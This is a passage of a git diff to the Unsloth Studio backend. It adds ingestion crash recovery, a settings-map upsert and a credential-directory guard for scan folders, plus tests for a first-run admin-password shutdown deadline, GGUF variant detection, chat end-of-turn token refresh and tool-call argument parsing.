+        rows = conn.execute(
+            "SELECT id, document_id FROM ingestion_jobs "
+            "WHERE status NOT IN ('completed', 'failed')"
+        ).fetchall()
+        for row in rows:
+            doc = conn.execute(
+                "SELECT status FROM documents WHERE id=?", (row["document_id"],)
+            ).fetchone()
+            if doc is not None and doc["status"] == "completed":
+                # Worker finished indexing before the crash but didn't retire the
+                # job row. Mark the job completed (not failed) and keep its chunks,
+                # so the UI's getJob fallback after restart doesn't flag a
+                # searchable document as a failed ingestion.
+                conn.execute(
+                    "UPDATE ingestion_jobs SET status='completed', stage='done', "
+                    "progress=1.0, error=NULL WHERE id=?",
+                    (row["id"],),
+                )
+                continue
+            conn.execute(
+                "UPDATE ingestion_jobs SET status='failed', stage='error', "
+                "error='Server restarted during ingestion' WHERE id=?",
+                (row["id"],),
+            )
+            conn.execute(
+                "UPDATE documents SET status='failed' "
+                "WHERE id=? AND status NOT IN ('completed', 'failed')",
+                (row["document_id"],),
+            )
+            # A failed or still-in-flight doc must not leave citable chunks
+            # (retrieval filters by scope, not status); also drops any chunks of a
+            # doc already 'failed' before the crash.
+            _delete_document_chunks(conn, row["document_id"])
+        conn.commit()
+        return len(rows)
+    finally:
+        conn.close()
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index 7421b42b2f..41a9adcc29 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -22,7 +22,25 @@ logger = logging.getLogger(__name__)
 from typing import Any, Iterable, Optional
 
 
-from utils.paths import project_workspaces_root, studio_db_path, ensure_dir
+from utils.paths import (
+    ensure_dir,
+    project_workspaces_root,
+    studio_db_path,
+)
+from utils.paths.external_media import is_linux_run_media_path
+from utils.paths.sensitive import (
+    contains_sensitive_path_component as _shared_contains_sensitive_path_component,
+)
+from utils.training_runs import extract_project_name
+
+
+def _extract_project_name_from_config_json(config_json: Optional[str]) -> Optional[str]:
+    if not config_json:
+        return None
+    try:
+        return extract_project_name(json.loads(config_json))
+    except (json.JSONDecodeError, TypeError):
+        return None
 
 
 def _denied_path_prefixes() -> list[str]:
@@ -51,6 +69,14 @@ def _denied_path_prefixes() -> list[str]:
     return []
 
 
+def _contains_sensitive_path_component(path: str) -> bool:
+    return _shared_contains_sensitive_path_component(path)
+
+
+def contains_sensitive_path_component(path: str) -> bool:
+    return _contains_sensitive_path_component(path)
+
+
 _schema_lock = threading.Lock()
 _schema_ready = False
 _SQLITE_IN_CHUNK_SIZE = 900
@@ -680,6 +706,7 @@ def list_runs(limit: int = 50, offset: int = 0) -> dict:
         runs = []
         for row in rows:
             run = dict(row)
+            run["project_name"] = _extract_project_name_from_config_json(run.get("config_json"))
             sparkline = run.get("loss_sparkline")
             if sparkline:
                 try:
@@ -719,6 +746,7 @@ def get_run(id: str) -> Optional[dict]:
         if row is None:
             return None
         run = dict(row)
+        run["project_name"] = _extract_project_name_from_config_json(run.get("config_json"))
         sparkline = run.get("loss_sparkline")
         if sparkline:
             try:
@@ -884,6 +912,8 @@ def add_scan_folder(path: str) -> dict:
         raise ValueError("Path must be a directory, not a file")
     if not os.access(normalized, os.R_OK | os.X_OK):
         raise ValueError("Path is not readable")
+    if _contains_sensitive_path_component(normalized):
+        raise ValueError("Credential or configuration directories are not allowed")
 
     # Windows: normcase for the denylist check but store original casing
     # so consumers see the native drive-letter casing (e.g. C:\Models).
@@ -891,6 +921,8 @@ def add_scan_folder(path: str) -> dict:
     check = os.path.normcase(normalized) if is_win else normalized
     for prefix in _denied_path_prefixes():
         if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
             raise ValueError(f"Path under {prefix} is not allowed")
 
     conn = get_connection()
@@ -1677,6 +1709,43 @@ def upsert_app_settings(settings: dict[str, Any]) -> dict[str, Any]:
         conn.close()
 
 
+def upsert_app_setting_map_entry(
+    key: str, entry_key: str, entry_value: dict[str, Any] | None
+) -> dict[str, Any]:
+    """Set (or delete, when entry_value is falsy) one sub-entry of a dict-valued
+    app setting, atomically under BEGIN IMMEDIATE so concurrent writers to other
+    sub-entries cannot drop each other's updates."""
+    conn = get_connection()
+    try:
+        conn.execute("BEGIN IMMEDIATE")
+        row = conn.execute("SELECT value_json FROM app_settings WHERE key = ?", (key,)).fetchone()
+        current = _json_loads(row["value_json"], {}) if row else {}
+        if not isinstance(current, dict):
+            current = {}
+        if entry_value:
+            current[entry_key] = entry_value
+        else:
+            current.pop(entry_key, None)
+        now = datetime.now(timezone.utc).isoformat()
+        conn.execute(
+            """
+            INSERT INTO app_settings (key, value_json, updated_at)
+            VALUES (?, ?, ?)
+            ON CONFLICT(key) DO UPDATE SET
+                value_json = excluded.value_json,
+                updated_at = excluded.updated_at
+            """,
+            (key, json.dumps(current), now),
+        )
+        conn.commit()
+        return current
+    except Exception:
+        conn.rollback()
+        raise
+    finally:
+        conn.close()
+
+
 def list_chat_settings() -> dict[str, Any]:
     conn = get_connection()
     try:
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 92a87ce045..170b456eac 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -128,13 +128,7 @@ class TestToolActionNudge:
         assert "call render_html once" in nudge
 
     def test_balanced_nudge_empty_without_known_tool_categories(self):
-        assert (
-            _build_tool_action_nudge(
-                tools = [],
-                model_name = "Llama-3.1-8B-Instruct",
-            )
-            == ""
-        )
+        assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == ""
 
 
 # =====================================================================
@@ -895,6 +889,24 @@ class TestAnthropicToolNonStreaming:
         assert tool_blocks[0]["name"] == "render_html"
         assert tool_blocks[0]["input"] == {"code": "<!doctype html><html></html>"}
 
+    def test_display_strip_gates_on_declared_tools(self):
+        # A final answer containing NAME[ARGS]{json} is gated on the declared tools: undeclared
+        # ``foo`` markup is prose and survives, the declared web_search rehearsal strips.
+        def _run_gen():
+            yield {
+                "type": "content",
+                "text": 'Try foo[ARGS]{"x": 1} but not web_search[ARGS]{"q": "hi"} here.',
+            }
+
+        tools = [{"type": "function", "function": {"name": "web_search", "parameters": {}}}]
+        response = asyncio.run(
+            _anthropic_tool_non_streaming(_run_gen, "msg_1", "m", openai_tools = tools)
+        )
+        body = json.loads(response.body)
+        text = "".join(b["text"] for b in body["content"] if b["type"] == "text")
+        assert 'foo[ARGS]{"x": 1}' in text  # inactive name preserved as prose
+        assert "web_search[ARGS]" not in text  # active name stripped from display
+
 
 # =====================================================================
 # Pass-through emitter tests (client-side tool execution path)
diff --git a/studio/backend/tests/test_api_perf_serialization.py b/studio/backend/tests/test_api_perf_serialization.py
index f5ad53306d..348e09104c 100644
--- a/studio/backend/tests/test_api_perf_serialization.py
+++ b/studio/backend/tests/test_api_perf_serialization.py
@@ -57,6 +57,15 @@ def test_media_type_and_status():
     assert err.status_code == 503
 
 
+def test_pooled_client_disables_proxy_env():
+    async def _scenario():
+        client = llama_http.nonstreaming_client()
+        assert client.trust_env is False
+        await llama_http.aclose()
+
+    asyncio.run(_scenario())
+
+
 def test_pooled_client_reused_within_loop_and_recreated_after_close():
     async def _scenario():
         a = llama_http.nonstreaming_client()
diff --git a/studio/backend/tests/test_bootstrap_timeout.py b/studio/backend/tests/test_bootstrap_timeout.py
new file mode 100644
index 0000000000..58d4829215
--- /dev/null
+++ b/studio/backend/tests/test_bootstrap_timeout.py
@@ -0,0 +1,185 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Coverage for the exposed-first-run auto-shutdown deadline.
+
+Tests the env parsing, the pure arm/no-arm decision matrix, and the deadline
+handler (shut down iff the seeded admin password is still unchanged). The
+threading.Timer itself is not exercised; the handler is invoked directly.
+"""
+
+from types import SimpleNamespace
+
+from auth.bootstrap_timeout import (
+    DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS,
+    _format_duration,
+    bootstrap_timeout_seconds,
+    enforce_bootstrap_password_deadline,
+    should_arm_bootstrap_timeout,
+)
+
+
+# ── bootstrap_timeout_seconds ───────────────────────────────────────
+
+
+def test_default_when_unset():
+    assert bootstrap_timeout_seconds(env = {}) == DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+
+
+def test_default_when_empty():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "  "}) == (
+        DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    )
+
+
+def test_explicit_value_parsed():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "1800"}) == 1800
+
+
+def test_zero_disables():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "0"}) == 0
+
+
+def test_negative_disables():
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "-5"}) == 0
+
+
+def test_invalid_falls_back_to_default():
+    # A typo must keep the protection, not silently disable it.
+    assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "abc"}) == (
+        DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    )
+
+
+# ── should_arm_bootstrap_timeout matrix ─────────────────────────────
+
+
+def _arm_kwargs(**overrides):
+    kwargs = dict(
+        host = "0.0.0.0",
+        secure = False,
+        api_only = False,
+        frontend_served = True,
+        is_colab = False,
+        requires_change = True,
+        timeout_seconds = 3600,
+    )
+    kwargs.update(overrides)
+    return kwargs
+
+
+def test_arm_exposed_wildcard_web_ui():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs()) is True
+
+
+def test_arm_secure_loopback_bind():
+    # --secure forces a loopback bind but exposes a public tunnel.
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = True)) is True
+
+
+def test_no_arm_loopback_bind():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = False)) is False
+
+
+def test_no_arm_api_only():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(api_only = True)) is False
+
+
+def test_no_arm_no_frontend():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(frontend_served = False)) is False
+
+
+def test_no_arm_colab():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(is_colab = True)) is False
+
+
+def test_no_arm_password_already_changed():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(requires_change = False)) is False
+
+
+def test_no_arm_timeout_disabled():
+    assert should_arm_bootstrap_timeout(**_arm_kwargs(timeout_seconds = 0)) is False
+
+
+# ── enforce_bootstrap_password_deadline ─────────────────────────────
+
+
+def _fake_storage(requires_change: bool):
+    return SimpleNamespace(
+        DEFAULT_ADMIN_USERNAME = "unsloth",
+        requires_password_change = lambda _username: requires_change,
+    )
+
+
+def test_deadline_shuts_down_when_password_unchanged():
+    calls = []
+    result = enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = True),
+        lambda: calls.append("shutdown"),
+        timeout_seconds = 3600,
+    )
+    assert result is True
+    assert calls == ["shutdown"]
+
+
+def test_deadline_keeps_running_when_password_changed():
+    calls = []
+    result = enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = False),
+        lambda: calls.append("shutdown"),
+        timeout_seconds = 3600,
+    )
+    assert result is False
+    assert calls == []
+
+
+def test_deadline_swallows_shutdown_errors():
+    def _boom():
+        raise RuntimeError("shutdown failed")
+
+    # A failing shutdown must not propagate out of the timer thread.
+    result = enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = True),
+        _boom,
+        timeout_seconds = 3600,
+    )
+    assert result is True
+
+
+# ── _format_duration ────────────────────────────────────────────────
+
+
+def test_format_duration_sub_minute_uses_seconds():
+    assert _format_duration(30) == "30 seconds"
+
+
+def test_format_duration_singular_second():
+    assert _format_duration(1) == "1 second"
+
+
+def test_format_duration_exact_minutes():
+    assert _format_duration(60) == "1 minute"
+    assert _format_duration(3600) == "60 minutes"
+
+
+def test_format_duration_minutes_and_seconds():
+    assert _format_duration(90) == "1 minute 30 seconds"
+
+
+def test_shutdown_message_uses_formatted_duration():
+    # The deadline message must reflect the real timeout, not a rounded
+    # "minute(s)" placeholder. Capture the warning via a fake logger.
+    logged = []
+
+    class _Logger:
+        def warning(self, msg, *args):
+            logged.append(msg)
+
+    enforce_bootstrap_password_deadline(
+        _fake_storage(requires_change = True),
+        lambda: None,
+        timeout_seconds = 3600,
+        logger = _Logger(),
+    )
+    assert any("60 minutes" in m for m in logged)
+    assert not any("minute(s)" in m for m in logged)
diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py
index b2ead305ba..d4a7cae208 100644
--- a/studio/backend/tests/test_cached_gguf_routes.py
+++ b/studio/backend/tests/test_cached_gguf_routes.py
@@ -20,6 +20,7 @@ if "structlog" not in sys.modules:
     )
 
 import routes.models as models_route
+from hub.services.models import gguf_variants as GV
 
 
 def _repo(
@@ -527,21 +528,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
     """The per-quant 'downloaded' flag is driven by the real weight file in a
     single snapshot; an mmproj vision adapter (matching a quant label) must
     not make that quant appear downloaded."""
-    import huggingface_hub.constants as hf_constants
-
     variants = [
-        SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10_000),
-        SimpleNamespace(filename = "model-F16.gguf", quant = "F16", size_bytes = 20_000),
+        SimpleNamespace(
+            filename = "model-Q4_K_M.gguf",
+            quant = "Q4_K_M",
+            display_label = None,
+            size_bytes = 10_000,
+        ),
+        SimpleNamespace(
+            filename = "model-F16.gguf",
+            quant = "F16",
+            display_label = None,
+            size_bytes = 20_000,
+        ),
     ]
     monkeypatch.setattr(
-        models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, True)
+        GV,
+        "list_gguf_variants",
+        lambda repo_id, hf_token = None: (variants, True, []),
     )
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10_000)  # real weight, fully present
     (snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000)  # mmproj adapter, label "F16"
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -555,21 +567,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
 
 
 def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
-    import huggingface_hub.constants as hf_constants
-
     siblings = [
         SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100),
         SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10),
     ]
     monkeypatch.setattr(
-        "huggingface_hub.model_info",
-        lambda *_args, **_kwargs: SimpleNamespace(siblings = siblings),
+        GV,
+        "list_gguf_variants",
+        lambda repo_id, hf_token = None: (
+            [
+                SimpleNamespace(
+                    filename = "model-Q4_K_M.gguf",
+                    quant = "Q4_K_M",
+                    display_label = None,
+                    size_bytes = 10,
+                )
+            ],
+            False,
+            siblings,
+        ),
     )
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10)
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -583,19 +606,25 @@ def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
 
 
 def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, tmp_path):
-    import huggingface_hub.constants as hf_constants
-
     variants = [
-        SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10),
+        SimpleNamespace(
+            filename = "model-Q4_K_M.gguf",
+            quant = "Q4_K_M",
+            display_label = None,
+            size_bytes = 10,
+        ),
     ]
     monkeypatch.setattr(
-        models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, False)
+        GV,
+        "list_gguf_variants",
+        lambda repo_id, hf_token = None: (variants, False, []),
     )
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 10)
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
diff --git a/studio/backend/tests/test_chat_eos_template_refresh.py b/studio/backend/tests/test_chat_eos_template_refresh.py
new file mode 100644
index 0000000000..75d0117015
--- /dev/null
+++ b/studio/backend/tests/test_chat_eos_template_refresh.py
@@ -0,0 +1,194 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Mapper models whose own tokenizer ships no chat_template have their turn-end
+eos resolved at LOAD from an empty template (document eos only). The effective
+template is installed later, at generate time, via get_chat_template, so the
+turn-end-eos cache must be refreshed then; otherwise generate_stream runs past
+the ChatML <|im_end|> boundary and loops (the exact bug this PR fixes).
+"""
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+# These tests construct InferenceBackend, pulling the full stack. CI may lack
+# unsloth/unsloth_zoo (ImportError) or have a broken CUDA/bitsandbytes setup
+# (RuntimeError); skip at module level so collection is not aborted (exit 2).
+try:
+    from core.inference import inference as inf_mod  # noqa: E402
+    from core.inference.inference import InferenceBackend  # noqa: E402
+except (ImportError, RuntimeError) as exc:  # pragma: no cover - env-dependent
+    pytest.skip(
+        f"full inference backend unavailable ({type(exc).__name__}: {exc})",
+        allow_module_level = True,
+    )
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+_GEMMA = "{% for m in messages %}<start_of_turn>{{m.role}}\n{{m.content}}<end_of_turn>{% endfor %}"
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.pad_token_id = eos_id
+        self.unk_token_id = None
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok)
+
+
+def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch):
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/qwen2.5-0.5b"
+
+    # No chat_template at load, so the cache stored only the document eos, though
+    # <|im_end|> is atomic in the vocab (unused until the mapper installs a template).
+    bare_tok = _FakeTokenizer(151643, chat_template = "", token_ids = {"<|im_end|>": 151645})
+    model_info = {
+        "tokenizer": bare_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [151643],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # The mapper installs a ChatML template (turns end with <|im_end|>) at generate time.
+    templated_tok = _FakeTokenizer(151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "qwen-2.5"}, raising = False
+    )
+
+    # Stub the tail so the generator runs through the refresh without a real model.
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # After the template is applied the cache must include the ChatML turn-end id.
+    assert model_info["chat_turn_end_eos_ids"] == [151643, 151645]
+
+
+def test_turn_end_eos_refresh_preserves_load_time_ids_on_destructive_swap(monkeypatch):
+    # Regression: get_chat_template can return a remapped tokenizer (Gemma: <end_of_turn>
+    # folded onto the eos id) while generate_stream re-reads the original. Resolving on
+    # the swap yields a narrower set, so the refresh must UNION, never overwrite.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-2b-it"
+
+    # Original tokenizer (used by generate_stream): <end_of_turn>=107 distinct from
+    # eos=1, so the load-time cache resolved to [1, 107].
+    orig_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 107})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [1, 107],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Destructively-swapped tokenizer: <end_of_turn> now maps onto eos id 1, so
+    # resolving on it yields only [1] (drops 107).
+    swapped_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"<end_of_turn>": 1})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "gemma-3"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The load-time <end_of_turn>=107 must survive: overwriting with the swapped
+    # [1] would regress and loop past the turn.
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+
+
+def test_turn_end_eos_refresh_resolves_marker_id_on_original_not_remapped(monkeypatch):
+    # Yi-style map_eos_token=True: the original carries <|im_end|> at its own id, but
+    # get_chat_template folds it onto the doc-eos id. generate_stream uses the original,
+    # so read marker strings from the mapped template but ids from the original.
+    import utils.datasets as ds
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "01-ai/yi-6b"
+
+    # Original: no template of its own, doc eos = 2, <|im_end|> atomic = 7.
+    orig_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    model_info = {
+        "tokenizer": orig_tok,
+        "is_vision": False,
+        "chat_turn_end_eos_ids": [2],
+    }
+    backend.models = {backend.active_model_name: model_info}
+
+    # Remapped tokenizer: ChatML template, but <|im_end|> folded onto doc-eos id 2.
+    remapped_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok)
+    monkeypatch.setattr(
+        ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "chatml"}, raising = False
+    )
+
+    monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False)
+    monkeypatch.setattr(
+        backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False
+    )
+    monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False)
+
+    list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    # The real <|im_end|>=7 (original vocab) must be recovered, not the remapped 2.
+    assert model_info["chat_turn_end_eos_ids"] == [2, 7]
+
+
+class _FakeProcessor:
+    """A ProcessorMixin-like container: carries the chat_template itself and
+    wraps the real text tokenizer as ``.tokenizer`` (the vision layout)."""
+
+    def __init__(self, chat_template, tokenizer):
+        self.chat_template = chat_template
+        self.tokenizer = tokenizer
+
+
+def test_resolve_chat_eos_reads_vision_processor_template():
+    # Vision model: the chat_template lives on the processor while the inner tokenizer
+    # ships none. _resolve_chat_eos must read the marker from the processor but resolve
+    # its id on the inner tokenizer, and repair generation_config.
+    from types import SimpleNamespace
+
+    inner_tok = _FakeTokenizer(1, chat_template = "", token_ids = {"<end_of_turn>": 107})
+    processor = _FakeProcessor(_GEMMA, inner_tok)
+    model = SimpleNamespace(generation_config = SimpleNamespace(eos_token_id = 1))
+
+    backend = InferenceBackend.__new__(InferenceBackend)
+    backend.active_model_name = "unsloth/gemma-3-4b-it"
+    model_info = {"model": model, "tokenizer": processor, "processor": processor, "is_vision": True}
+    backend.models = {backend.active_model_name: model_info}
+
+    backend._resolve_chat_eos(backend.active_model_name)
+
+    assert model_info["chat_turn_end_eos_ids"] == [1, 107]
+    # generation_config repaired so the vision .generate() path stops at the turn.
+    assert model.generation_config.eos_token_id == [1, 107]
diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py
index 2a6ebe244f..a60ac700bf 100644
--- a/studio/backend/tests/test_chat_history_routes.py
+++ b/studio/backend/tests/test_chat_history_routes.py
@@ -91,6 +91,17 @@ def test_chat_settings_payload_accepts_fast_mode_presets():
     assert dumped["customPresets"][0]["params"]["fastMode"] is True
 
 
+def test_chat_settings_payload_accepts_nudge_tool_calls():
+    # extra="forbid" 400s PUT /api/chat/settings on unknown keys, so the
+    # frontend's persisted nudgeToolCalls needs a payload field (like
+    # autoHealToolCalls).
+    payload = chat_history.ChatSettingsPayload.model_validate(
+        {"autoHealToolCalls": True, "nudgeToolCalls": False}
+    )
+    dumped = payload.model_dump(exclude_unset = True)
+    assert dumped == {"autoHealToolCalls": True, "nudgeToolCalls": False}
+
+
 def test_chat_inference_settings_covers_frontend_persisted_fields():
     # Drift guard: every InferenceParams field the UI persists (all but
     # checkpoint) must exist on ChatInferenceSettings, else extra="forbid"
diff --git a/studio/backend/tests/test_chat_template_tool_arguments.py b/studio/backend/tests/test_chat_template_tool_arguments.py
new file mode 100644
index 0000000000..13d1ecabaa
--- /dev/null
+++ b/studio/backend/tests/test_chat_template_tool_arguments.py
@@ -0,0 +1,157 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""apply_chat_template_for_generation must coerce assistant tool_call arguments
+from the OpenAI JSON-string form to a dict before rendering. Strict tool
+templates (e.g. mlx-community Qwen3.5 checkpoints) iterate arguments.items() and
+raise "Can only get item pairs from a mapping." on the string form when a prior
+tool call is re-rendered on the next turn (MLX + transformers paths).
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_template_helpers import (  # noqa: E402
+    _normalize_tool_call_arguments,
+    apply_chat_template_for_generation,
+)
+
+
+def _conv(arguments):
+    return [
+        {"role": "user", "content": "weather?"},
+        {
+            "role": "assistant",
+            "content": "",
+            "tool_calls": [
+                {
+                    "type": "function",
+                    "id": "c1",
+                    "function": {"name": "web_search", "arguments": arguments},
+                }
+            ],
+        },
+        {"role": "tool", "name": "web_search", "content": "21C sunny"},
+    ]
+
+
+class _StrictTemplateTokenizer:
+    """Mimics a strict Qwen tool template: rejects string tool_call arguments."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise TypeError("Can only get item pairs from a mapping.")
+        return "RENDERED"
+
+
+def test_string_arguments_are_parsed_to_dict():
+    out = _normalize_tool_call_arguments(_conv('{"query": "sweden"}'))
+    args = out[1]["tool_calls"][0]["function"]["arguments"]
+    assert args == {"query": "sweden"}
+
+
+def test_dict_arguments_untouched_and_no_copy():
+    conv = _conv({"query": "sweden"})
+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+def test_non_json_string_left_as_is():
+    out = _normalize_tool_call_arguments(_conv("not json"))
+    assert out[1]["tool_calls"][0]["function"]["arguments"] == "not json"
+
+
+def test_render_succeeds_on_strict_template_with_string_arguments():
+    # Regression: strict template + string args used to raise.
+    result = apply_chat_template_for_generation(_StrictTemplateTokenizer(), _conv('{"query": "x"}'))
+    assert result == "RENDERED"
+
+
+class _RecordingTokenizer:
+    """Lenient template: renders whatever arguments it is given (string or dict)."""
+
+    def __init__(self):
+        self.seen_arguments = None
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                self.seen_arguments = call.get("function", {}).get("arguments")
+        return "RENDERED"
+
+
+def test_lenient_template_receives_original_string_untouched():
+    # Lenient template must see the exact original string, not a coerced dict.
+    tok = _RecordingTokenizer()
+    apply_chat_template_for_generation(tok, _conv('{"query": "x"}'))
+    assert tok.seen_arguments == '{"query": "x"}'
+
+
+def test_messages_without_tool_calls_pass_through_unchanged():
+    conv = [{"role": "user", "content": "hi"}]
